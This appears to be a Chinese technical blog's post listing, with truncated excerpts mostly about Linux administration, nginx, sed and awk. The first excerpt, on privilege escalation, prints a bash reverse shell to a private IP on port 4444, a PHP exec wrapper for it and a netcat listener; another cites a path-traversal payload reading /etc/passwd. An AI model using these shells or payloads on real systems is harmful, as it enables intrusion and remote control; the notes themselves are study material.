• 2024-07-04提权
    /bin/bash-i>&/dev/tcp/192.168.37.8/44440>&1<?phpexec("/bin/bash-c'bash-i>&/dev/tcp/192.168.37.8/44440>&1'");?>sudonclvnp4444whoamisudo-luname-adpkg-l(是否有python环境)python-c&q
  • 2024-07-02Openssh版本过低被扫出漏洞---Openssh修改版本号
    1.查看当前系统的ssh版本号ssh-Vsshd-V2.查看ssh和sshd的位置whichsshwhichsshd3.查看ssh版本号有关的字符串strings/usr/bin/ssh|grepOpenSSHstrings/usr/sbin/sshd|grepOpenSSH4.备份cp/usr/bin/ssh/usr/bin/ssh.bakcp/usr/sbin/ss
  • 2024-06-21Ubuntu修改环境变量导致重启后无法进入桌面
    问题参考https://blog.csdn.net/FMikasa/article/details/133016423测试修改环境变量,将/etc/environment由:PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"改为了:PATH="/usr/local/sbin:/usr/local/bin
  • 2024-06-20Shell 编程之正则表达式与文本处理器
    Shell编程之正则表达式与文本处理器一、正则表达式基础正则表达式元字符总结二、文本处理器sed工具awk工具sort工具uniq工具tr工具三、总结在Shell编程中,正则表达式(RegularExpression)和文本处理器(如grep,sed,awk等)是两个极其重要的工具,它们允许我们以复杂
  • 2024-06-15Linux的目录结构
    问题产生:在学习Linux的过程中对Linux系统的文件结构感到不解,例如/bin和/usr/bin和/usr/local/bin之间的区别以及各个目录到底是存放什么内容的问题,需要进行进一步的学习!列举一下Linux中比较重要的部分目录:主目录:/root,/home/username用户可执行文件:/bin,/usr/b
  • 2024-06-09Linux之awk
    一、awk介绍1、awk工作原理   逐行读取文本,默认以空格或tab键为分隔符进行分隔,将分隔所得的各个字段保存到内建变量中,并按模式或者条件执行编辑命令。   sed命令常用于一整行的处理,而awk比较倾向于将一行分成多个“字段”然后再进行处理。awk信息的读入也是逐行读
  • 2024-06-07【hadoop/Spark】相关命令
    目录hadoopHDFShiveSparkhadoop查看启动状态jps重启hadoopsbin/stop-all.shsbin/start-all.shsbin/start-dfs.sh查看hadoop版本./bin/hadoopversionHDFS查看hdfs的文件夹cd/usr/local/hadoop./bin/hdfsdfs-ls/hive查看创建的数据库showdataba
  • 2024-05-31第一个用户进程 --- 根文件系统 sbin/init 进程 及其配置文件 /etc/inittab
    sbin/init是根文件系统提供的用户进程,它是第一个被执行的用户进程。执行过程会读取配置文件/etc/inittab,运行inittab文件中的各个子进程。 inittab配置文件格式Formatforeachentry:<id>:<runlevels>:<action>:<process>id:  表示这个子进程要使用的控制台,如果省略,
  • 2024-05-31Nginx平滑升级
    目录编译安装nginx1.18平滑升级至1.22版本        本文记录了编译安装的nginx1.18平滑升级到nginx1.22版本的流程,都采用的编译安装,有不清楚流程的可以评论区@我,咱们一起讨论。编译安装nginx1.18#安装编译依赖yum-yinstallgccpcrepcre-develzlibzlib-dev
  • 2024-05-15Nginx配置https(证书)报错
    一、nginx配置问题nginx配置https的时候报错: nginx:[emerg]unknowndirective35+GAN"ssl"in/usr/local/nginx/conf/nginx.conf:28或者 nginx:[emerg]the"ssl"parameterrequiresngx_http_ssl_modulein/usr/loca....出现这个问题的时候可以检查一下是不是没有
  • 2024-05-08Server-side vulnerabilities :path traversal
    来自bp的学院,提供了靶机,是个学习好地方服务器漏洞之路径遍历 就是说网站提供的图片,如果直接通过src="/loadImage?filename=xxx.jpg“读取的话,可以通过构造”filename=../../../etc/passwd"参数,拿到服务器的passwd文件,这样能读取服务器的用户放一个靶机地址:https://portswigg
  • 2024-05-08Linux系统下安装配置 Nginx
    一、下载下载地址:点击跳转有条件的可以直接下载:wget-chttp://nginx.org/download/nginx-1.26.0.tar.gz二、安装解压安装包tar-zxvfnginx-1.26.0.tar.gz移动位置一般安装在usr/local下mvnginx-1.26.0/usr/local/nginx进入nginx目录执行配置脚本cd/usr/local/ng
  • 2024-04-22nginx升级与版本回退
    ginx官网下载安装包http://nginx.org/en/download.html查看nginx文件或目录find/-namenginx2>/dev/null查看已安装的Nginx版本信息,configure配置信息/usr/local/nginx/sbin/nginx-V打开安装目录cd/usr/local上传安装包到服务器解压包tar-zxvfnginx-1.25.5.tar.gz
  • 2024-04-09centos 7 vsftp
    添加test用户:useraddtestpasswdtest usermod-s/sbin/nologintest//限定用户test不能telnet,不能ssh登录服务器,只能ftp。注意:vsftp默认会检查用户的shell,如果用户的shell没有在/etc/shells里,拒绝连接。vim/etc/shells,添加/sbin/nologin。usermod-s/sbin/bashtest/
  • 2024-04-08Linux中的权限
    Linux中的用户与创建用户的类型超级管理用户:权限最高的用户(uid:0) #uid:是用户的身份证号,Linux系统只认uid普通用户:权限受限的用户(uid:1000-60000)程序用户:不是给人登陆使用:是给程序使用(uid:1-999)一个用户必须有一个基本组,附加组可有可无,也可以有多个基本组:必须要有,有且
  • 2024-04-04Linux初学(十三)中间件
    一、Nginx简介Nginx是一个高性能的HTTP和反向代理web服务器轻量级、高性能1.1Nginx安装方法一:编译安装依赖:openssl-devel、zlib-devel、ncurses-devel、pcre-devel、gcc、gcc-c++方法二:yum安装Nginx的rpm包在epel源中编译安装Nginx下载位置:https://nginx.org第
  • 2024-04-02就业班 第二阶段 2401--4.1 day10 shell之“三剑客”+Expect
    十一、shell编程-grepegrep支持正则表达式的拓展元字符(或grep -E)#egrep'[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}'file1.txt[root@newrain~]#num1=11、运用正则,判断需要[[]][root@newrain~]#[[$num1=~^[0-9]+$]]&&echo"yes"||echo"n
  • 2024-04-02就业班 第二阶段 2401--3.29 day9 shell之正则+数组
    九、shell编程-数组普通数组:只能用整数作为数组的索引关联数组:可以使用字符串作为数组的索引数组定义普通数组定义:[root@newrainshell]#books=(linuxshellawksed) 引用:[root@newrainshell]#echo${books[0]}linux[root@newrainshell]#echo${books
  • 2024-03-29【GitLab】Ubuntu使用宝塔安装GitLab最新社区版
    首先在Ubuntu安装宝塔面板在官网可以找到脚本一键安装安装GitLab社区版然后在宝塔面板的“软件商店”里面找到GitLab最新社区版12.8.1一键安装安装过程中可能出现以下问题:1.卡在ruby_block[waitforlogrotateservicesocket]actionrun解决办法:在Ubuntu终端中运行
  • 2024-03-25等保-linux-三权分立账号设置
    1.创建三权账号#新建系统管理员useraddsysadminpasswdsysadmin#新建安全管理员useraddsecadminpasswdsecadmin#新建审计管理员useraddauditadminpasswdauditadmin2.修改visudo配置visudo#系统管理员Cmnd_AliasSOFTWARE=/bin/rpm,/usr/bin/up2date,/usr/bin/yumCmn
  • 2024-03-24第七章 流编辑器sed
    第七章流编辑器sedsed是一个脚本型,非交互式的编辑器。sed没有交互式的编辑界面,光标移动以及庞大的快捷键功能。1,工作原理1,sed一次处理一行内容。处理时,把当前的行存储在临时缓存区(模式空间)中,接着用sed命令处理缓冲区中的内容,处理完成后,再把缓冲区的内容输出到屏幕。如此
  • 2024-03-18常用命令--如何防止黑客修改文件--chattr
    常用命令--如何防止黑客修改文件--chattrchattrchattr命令用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:a:让文件或目录仅供附加用途;b:不更新文件或目录的最后存取时间;c:将文件或目录压缩后存放;d:将文件或目录排除在倾倒操作
  • 2024-03-18常用命令-提权降权-sudo
    常用命令-提权-sudosudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。语法sudo
  • 2024-03-16四剑客第七关面试真题
    四剑客面试真题-11、linux系统中,什么命令可以从文本文件的每一行中截取指定的内容的数据用awkawk可以截取awk'{print$1}'test.txt实际效果演示[root@master~]#cattest.txtdsjkfhfsdfhsdsdfjssdkfhhergdfghksdhgsdfksdhsfhshefafjnshdffkhsekf
  • 2024-03-16四剑客面试真题-3
    四剑客面试真题-31、创建目录/data/it,并且在该目录下创建目录文件it.txt,然后在文件it.txt里写入内容inetaddr:10.0.0.8Bcast:10.0.0.25Mask:255.255.255.255mkdir-p/data/itecho"inetaddr:10.0.0.8Bcast:10.0.0.25Mask:255.225.225.255">/data/it/it.t